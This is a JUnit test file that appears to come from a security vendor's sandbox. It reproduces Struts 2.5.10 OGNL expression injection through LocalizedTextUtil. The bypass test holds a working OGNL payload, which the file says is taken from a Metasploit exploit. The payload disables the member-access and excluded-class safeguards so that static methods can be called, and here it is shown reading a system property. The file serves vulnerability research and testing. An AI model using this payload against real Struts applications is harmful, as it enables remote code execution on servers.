Struts 2.5.10 Ognl code execution with unit tests

TestOgnl.java

package io.sqreen.sandbox;

import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.TextProvider;
import com.opensymphony.xwork2.XWorkTestCase;
import com.opensymphony.xwork2.conversion.impl.XWorkConverter;
import com.opensymphony.xwork2.ognl.OgnlUtil;
import com.opensymphony.xwork2.ognl.OgnlValueStack;
import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor;
import com.opensymphony.xwork2.util.CompoundRoot;
import com.opensymphony.xwork2.util.LocalizedTextUtil;
import com.opensymphony.xwork2.util.ValueStack;
import ognl.PropertyAccessor;
import org.junit.Test;

import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
import java.util.stream.Collectors;
import java.util.stream.Stream;

public class TestOgnl extends XWorkTestCase {

    private OgnlUtil ognlUtil;

    @Override
    public void setUp() throws Exception {
        super.setUp();
        ognlUtil = container.getInstance(OgnlUtil.class);
        assertNotNull(ognlUtil); // first step : being able to initialize OgnlUtil class
    }

    @Test
    public void testBasicOgnl() {
        setupContext(true); // we start with safety checks disabled
        // check very basic behavior : an unknown localized key is returned as-is
        assertEquals("hello", getMissingLocalizedText("hello"));
    }

    @Test
    public void testGetSystemProperty_easyMode() {
        // still with safety checks disabled, we try to get a system property from OGNL expression
        setupContext(true);
        assertEquals(System.getProperty("os.name"), getMissingLocalizedText("%{@java.lang.System@getProperty('os.name')}"));
    }

    @Test
    public void testGetSystemProperty_staticMethodDisabled() {
        // with safety checks, we arent able to get a system property
        setupContext(false);
        assertEquals("", getMissingLocalizedText("%{@java.lang.System@getProperty('os.name')}"));
    }

    @Test
    public void testGetSystemProperty_bypassStaticMethodCheck() {
        // here we reuse the available exploit to bypass safety checks.
        // once this works, we have a malicious payload !
        setupContext(false);

        String ognl = Stream.of(
                //
                // this is disabling OgnlUtil static method access, directly taken from metaspoilt exploit
                // here equivalent to executing in plain java :
                //
                // ognlUtil.setAllowStaticMethodAccess(Boolean.toString(true));
                //
                "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).",
                "(#_memberAccess?",
                "(#_memberAccess=#dm):",
                "((#container=#context['com.opensymphony.xwork2.ActionContext.container']).",
                "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).",
                "(#ognlUtil.getExcludedPackageNames().clear()).",
                "(#ognlUtil.getExcludedClasses().clear()).",
                "(#context.setMemberAccess(#dm)))).",
                //
                // what we expect as output
                "(@java.lang.System@getProperty('os.name'))"
        ).collect(Collectors.joining());

        assertEquals(System.getProperty("os.name"), getMissingLocalizedText("%{" + ognl + "}"));
    }

    private void setupContext(boolean allowStaticMethodAccess) {
        ValueStack valueStack = createValueStack(allowStaticMethodAccess);

        Map<String, Object> contextObjects = new HashMap<>();
        ActionContext actionContext = new ActionContext(contextObjects);
        actionContext.setValueStack(valueStack);


        // action context is stored in a thread-local
        ActionContext.setContext(actionContext);
    }

    private String getMissingLocalizedText(String defaultMessage) {
        System.out.println(String.format("payload : %s", defaultMessage));
        return LocalizedTextUtil.findText(TestOgnl.class, "text_that_does_not_exists", Locale.getDefault(), defaultMessage, new Object[0]);
    }


    private OgnlValueStack createValueStack(boolean allowStaticMethodAccess) {
        OgnlValueStack stack = new MyValueStack(
                container.getInstance(XWorkConverter.class),
                (CompoundRootAccessor) container.getInstance(PropertyAccessor.class, CompoundRoot.class.getName()),
                container.getInstance(TextProvider.class, "system"), allowStaticMethodAccess);
        container.inject(stack);

        // we have to set stack container
        stack.getContext().put(ActionContext.CONTAINER, container);

        ognlUtil.setAllowStaticMethodAccess(Boolean.toString(allowStaticMethodAccess));
        return stack;
    }

    // we need to subclass because of protected OgnlValueStack constructor
    // note that we could also have moved this test class to the same package to avoid this
    private class MyValueStack extends OgnlValueStack {

        public MyValueStack(XWorkConverter xWorkConverter, CompoundRootAccessor compoundRootAccessor, TextProvider textProvider, boolean allowStaticMethodAccess) {
            super(xWorkConverter, compoundRootAccessor, textProvider, allowStaticMethodAccess);
        }
    }
}